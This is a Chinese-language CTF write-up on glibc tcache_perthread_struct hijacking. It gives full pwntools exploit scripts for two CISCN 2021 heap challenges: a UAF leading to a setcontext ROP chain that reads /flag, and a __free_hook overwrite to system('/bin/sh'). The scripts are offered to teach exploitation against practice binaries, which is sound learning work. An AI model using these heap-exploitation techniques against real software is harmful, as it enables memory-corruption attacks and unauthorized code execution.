格林...

前言(可忽略)

堆不愧是堆…知识点真的要多用动调查看堆的状态才好理解

tcache_perthread_struct的结构

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define TCACHE_MAX_BINS 64
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

我们可以看到,该结构体有两个数组,一个是counts,另一个是entry

counts数组

counts的数组记录的是tcache上各个bin上的堆个数,如下图
image
这是bins的情况
image
这是heap_base的情况,也就是我们的tcache_perthread_struct的状况,被红框框起来的地方就是counts记录个数的区域
这是我们的攻击点之一
image
这是struct里的counts个数,可以看到个数是对应的

entry指针数组

如题,entry储存的是各个指针,存储的是各个bin链表上的首chunk的fd指针
而entry就储存在counts之下,这也是我们的另一个攻击点

大小

一般而言是0x250或者0x290,依旧前0x10是chunk头,记录该结构体的大小

攻击方法

通过TAF泄露出heap_base的地址,heap_base所在的区域就是tcache_perthread_struct,但我们不能修改它的chunk头,否则会破坏结构体。我们攻击的地方是从heap_base + 0x10的地方,这个地方就是我们的data域,首先伪造counts,然后就是修改entry为我们的恶意ROP链。常见的攻击方式有setcontext+orw(结不结合SROP因题而异),劫持free_hook

例题①[CISCN 2021 初赛]silverwolf(setcontext+orw)

checksec

image
只能说堆题是这样的

源审

main

image
很经典的菜单
其中sub_C70是初始化和sandbox,仅允许使用orw

add

image
add的重点就是这几个,index只能为0,size不超过0x78,buf会指向v2

edit

image
索引依然是0,v0会指向buf,也就是我们最近申请的malloc,意味着我们能够修改的堆块只能是我们最近申请的堆块。后面还藏着个off-by-one漏洞,但是不重要,把以往的send变成sendline就好

show

image
标准的show函数,输出索引为0的堆块内容

delete

image
free索引为0的堆块,没有置空指针,明显的UAF漏洞

总结

因为索引只能为0,意味着我们只能对最近申请的堆块进行操作,大大限制了我们利用UAF的能力,没法用double free,但是我们仍可以malloc到一个我们想要的地址,只需要修改堆块里的fd指针即可,结合sandbox里只允许我们用orw,那么很明显就是通过劫持tcache_perthread_struct来布置恶意ROP链

动调过程

我先把各个功能的函数定义出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def add(size):
p.sendlineafter('Your choice: ',str(1))
p.sendlineafter('Index:',str(0))
p.sendlineafter('Size:',str(size))

def edit(content):
p.sendlineafter('Your choice: ',str(2))
p.sendlineafter('Index:',str(0))
p.sendlineafter('Content:',content)

def show():
p.sendlineafter('Your choice: ',str(3))
p.sendlineafter('Index:',str(0))

def delete():
p.sendlineafter('Your choice: ',str(4))
p.sendlineafter('Index:',str(0))

泄露heap_base

先看看初始bins的情况
image
因为sandbox的存在,初始就会有一些堆块生成
接下来就是老一套了,UAF泄露出heap_base,都看到这了应该就不用多解释是怎么泄露出来的吧()

1
2
3
4
5
6
7
8
9
10
#gdb.attach(p)
add(0x78)
delete()
show()

p.recvuntil('Content: ')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.success('heap_addr==>'+hex(heap_addr))
heap_base = heap_addr - 0x11b0
log.success('heap_base==>'+hex(heap_base))

泄露libc_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
#gdb.attach(p)
for i in range(7):
#sleep(0.5)
delete()
edit(p64(0) * 2) #清除fd和bk指针,使其能够持续free下去
delete()
show()
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 #free tcache_perthread_struct into unsorted bins
log.success('main_arena==>'+hex(main_arena))
malloc_hook = main_arena - 0x10
log.success('malloc_hook==>'+hex(malloc_hook))
libc_base = malloc_hook - libc.symbols['__malloc_hook']
log.success('libc_base==>'+hex(libc_base))
edit(b'\x00' * 0x78) #恢复结构体

在当初free的基础上,将其fd指针修改为heap_base+0x10,两次add劫持到tcache_perthread_struct里,看看动调过程
edit之前
image
edit之后
image
可以看出来已经将其fd指向了tcache_perthread_struct,进行两次malloc即可劫持到里边
此时我们就可以泄露栈地址了,通过修改fd和bk指针欺骗系统让其可以持续free,待其填满0x250所在的bins链表后就可以进入unsorted_bin里泄露main_arena,进而泄露malloc_hook和libc_base
image
image
OK现在泄露完两个基质之后就可以构造了

tcache_bins构造恶意地址

该阶段Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
rax = libc_base + 0x43ae8
rbp = libc_base + 0x21353
rdi = libc_base + 0x215bf
rdx = libc_base + 0x1b96
rsi = libc_base + 0x23eea
rsp = libc_base + 0x3960
free_hook = libc_base + libc.symbols['__free_hook']
read = libc_base + libc.symbols['read']
write = libc_base + libc.symbols['write']
#syscall = read + 0xf
syscall = libc_base + 0xe5965 #注意,只能是syscall;ret,可以在IDA中使用sequence of bytes寻找,编码为 0xf 0x05 0xc3
mov_rsp_rdi_a0 = libc_base + libc.sym['setcontext'] + 53
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8aa
orw1 = heap_base + 0x3000
orw2 = heap_base + 0x3060
fake_orw1 = heap_base + 0x2000
fake_orw2 = heap_base + 0x20a0

payload = b'\x00' * 0x40 #repair the counts,which is 64 byteds
payload += p64(free_hook) + p64(0) #0x20 0x30
payload += p64(flag_addr) + p64(fake_orw1) #0x40 0x50
payload += p64(fake_orw2) + p64(orw1) #0x60 0x70
payload += p64(orw2) #0x80
#gdb.attach(p)
edit(payload)

在布置恶意地址之前我们先来介绍一个函数setcontext,是我们劫持tcache_perthread_struct的时候相当常用的函数

setcontext

看看它的源码
image
框起来的地方就是我们主要利用的地方,free是rdi寻址,而我们刚好可以利用rdi
setcontext函数就是通过rdi给各个寄存器赋值,但对我们来说只有rsp最重要,当然仅仅有rsp并不够,还要有rip,好在最后有ret指令,可以把执行地址迁移到我们的恶意ROP链上
所以我们通常使用的是setcontext+53,另一个原因是不想引用fldenv指令,防止造成程序崩溃

动调

OK现在该回到动调过程了
先修改counts数组,尔后修改entry为我们布置的地址
image
由于我们没有办法直接修改链表的内容所以我们需要在两个orw地址上再伪造两个地址,一个用来引用free,另一个用来跳转到orw上,我会一一给出解释

1
2
3
4
5
6
0x20 free_hook-->setcontext
0x40 存储flag
0x50 调用free
0x60 跳转至orw
0x70 orw的前半部分(因为size只有0x60)
0x80 orw的后半部分

ORW链+getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
shellcode = p64(rdi) + p64(flag_addr) + p64(rsi) + p64(0) + p64(rax) + p64(2) + p64(syscall)
shellcode += p64(rdi) + p64(3) + p64(rsi) + p64(orw1) + p64(rdx) + p64(0x100) + p64(read)
shellcode += p64(rdi) + p64(1) + p64(write)

#gdb.attach(p)
add(0x18) #free_hook
edit(p64(mov_rsp_rdi_a0))
add(0x38) #edit flag
edit(b'/flag\x00')
add(0x68) #orw1
edit(shellcode[:0x60]) #the place near the beginning orw
add(0x78) #orw2
edit(shellcode[0x60:]) #the place near the end orw
add(0x58) #fake2
edit(p64(orw1) + p64(ret))
#gdb.attach(p)
add(0x48) #fake1
#gdb.attach(p)
delete()

p.interactive()

来让我们跟着动调一步一步看效果
image
free的时候会调用setcontext+0x53,原理和__malloc_hook是差不多的,我们再跟进
image
第一步会把我们储存在rdi + 0xa0的地址处的值取出来赋给rsp,也就会把我们的rsp迁到我们布置好的恶意ROP链上
image
继续跟进可以看到我们就开始执行ROP链了
image
到这就结束啦,就可以获得flag了

例题②[CISCN 2021 初赛]lonelywolf(劫持free_hook)

这个题跟silverwolf其实区别不大,就是没有开sandbox让我们有这种常规方式进行攻击

checksec

image

源审

它原本还开了去符号表,我这边把它修改成了对应函数
image

add

image

show

image

edit

image

delete

image
可以看到,这些函数和silverwolf是没有区别的,仅仅只是攻击方式的区别

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
from LibcSearcher3 import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./lonelywolf')
#p = remote('node4.anna.nssctf.cn',28775)

def add(size):
p.sendlineafter('Your choice: ',str(1))
p.sendlineafter('Index:',str(0))
p.sendlineafter('Size:',str(size))

def edit(content):
p.sendlineafter('Your choice: ',str(2))
p.sendlineafter('Index:',str(0))
p.sendlineafter('Content:',content)

def show():
p.sendlineafter('Your choice: ',str(3))
p.sendlineafter('Index:',str(0))

def delete():
p.sendlineafter('Your choice: ',str(4))
p.sendlineafter('Index:',str(0))

add(0x78)
#gdb.attach(p)
delete()
edit(p64(0) * 2) #消除key(一种保护措施),使我们能double free
#gdb.attach(p)
delete()
show()
p.recvuntil(b'Content: ')
#gdb.attach(p)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x260
log.success('heap_base==>'+hex(heap_base))

edit(p64(heap_base + 0x10)) #劫持tcache_perthread_struct
add(0x78)
add(0x78)
#gdb.attach(p)
#edit(b'\x00' * 0x35 + b'\x07')
edit(b'\x00' * 0x23 + b'\x07') #伪造counts数组,让它误以为0x250的堆块已经free了7个
delete()
show()
p.recvuntil(b'Content: ')
malloc_hook = u64(p.recv(6).ljust(8,b'\x00')) - 96 - 0x10
log.success('malloc_hook==>'+hex(malloc_hook))
libc = LibcSearcher('__malloc_hook',malloc_hook) #赛方提供的libc是错误的,正确版本应该是2.27-3ubuntu1.4_amd64,如果不知道,就用LibcSearcher
libc_base = malloc_hook - libc.dump('__malloc_hook')
log.success('libc_base==>'+hex(libc_base))
system = libc_base + libc.dump('system')
free_hook = libc_base + libc.dump('__free_hook')

#gdb.attach(p)
edit(b'\x01\x01' + b'\xff'*0x3e + p64(free_hook) + p64(heap_base + 0x260)) #伪造counts数组让它以为0x10和0x20各释放了一个堆块,分别往这两个堆块上布置free和存放/bin/sh\x00的地方
add(0x10)
edit(p64(system)) #free->system
add(0x20)
edit(b'/bin/sh\x00') #存放/bin/sh\x00

delete() #rdi寻址是add(0x20)的地址,相当于system('/bin/sh\x00')
p.interactive()

总结

利用tcache_perthread_struct的时候需要精确计算各个地址,步步为营,但如果熟练了就知道大概什么个方式了,很快就能写出来了。不过刚学的时候确实会一个头比两个大,纸上得来终觉浅 绝知此事要躬行,多动调几次就会好理解很多,所以说为什么动调是神!